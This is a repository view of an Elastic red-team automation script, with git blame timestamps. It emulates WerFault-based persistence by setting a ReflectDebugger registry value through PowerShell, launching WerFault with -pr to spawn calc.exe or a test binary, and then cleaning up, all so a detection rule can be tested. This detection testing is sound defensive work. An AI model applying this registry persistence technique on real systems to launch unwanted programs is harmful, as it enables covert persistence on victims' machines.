Files
sigma-rules/rta/werfault_persistence.py
T

80 lines
2.2 KiB
Python
Raw Normal View History

2020-06-29 23:07:16 -06:00
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
2021-03-03 22:12:11 -09:00
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
2020-06-29 23:07:16 -06:00
# Name: WerFault.exe Persistence
# RTA: werfault_persistence.py
# signal.rule.name: Process Potentially Masquerading as WerFault
2020-06-29 23:07:16 -06:00
# ATT&CK: T1112
# Description: Sets an executable to run when WerFault is run with -rp flags and runs it
import time
from . import common
2022-09-08 12:50:39 -04:00
from . import RtaMetadata
2020-06-29 23:07:16 -06:00
MY_APP = common.get_path("bin", "myapp.exe")
2022-09-08 12:50:39 -04:00
metadata = RtaMetadata(
uuid="cbd90dde-02f4-4010-b654-ccabff3c3c73",
platforms=["windows"],
endpoint=[],
siem=[{"rule_id": "ac5012b8-8da8-440b-aaaf-aedafdea2dff", "rule_name": "Suspicious WerFault Child Process"}],
techniques=["T1036"],
)
2023-10-03 10:47:58 -04:00
@common.requires_os(*metadata.platforms)
2020-06-29 23:07:16 -06:00
@common.dependencies(MY_APP)
def main():
reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'"
reg_name = "ReflectDebugger"
2022-09-08 12:50:39 -04:00
commands = ["C:\\Windows\\system32\\calc.exe", "'powershell -c calc.exe'", MY_APP]
2020-06-29 23:07:16 -06:00
for command in commands:
common.log("Setting WerFault reg key to {}".format(command))
2022-09-08 12:50:39 -04:00
common.execute(
[
"powershell",
"-c",
"New-ItemProperty",
"-Path",
reg_key,
"-Name",
reg_name,
"-Value",
command,
],
wait=False,
)
2020-06-29 23:07:16 -06:00
time.sleep(1)
common.log("Running WerFault.exe -pr 1")
common.execute(["werfault", "-pr", "1"], wait=False)
time.sleep(2.5)
2022-09-08 12:50:39 -04:00
common.execute(
[
"powershell",
"-c",
"Remove-ItemProperty",
"-Path",
reg_key,
"-Name",
reg_name,
]
)
2020-06-29 23:07:16 -06:00
common.log("Cleaning up")
common.execute(["taskkill", "/F", "/im", "calc.exe"])
common.execute(["taskkill", "/F", "/im", "calculator.exe"])
common.execute(["taskkill", "/F", "/im", "myapp.exe"])
2022-09-08 12:50:39 -04:00
if __name__ == "__main__":
2020-06-29 23:07:16 -06:00
exit(main())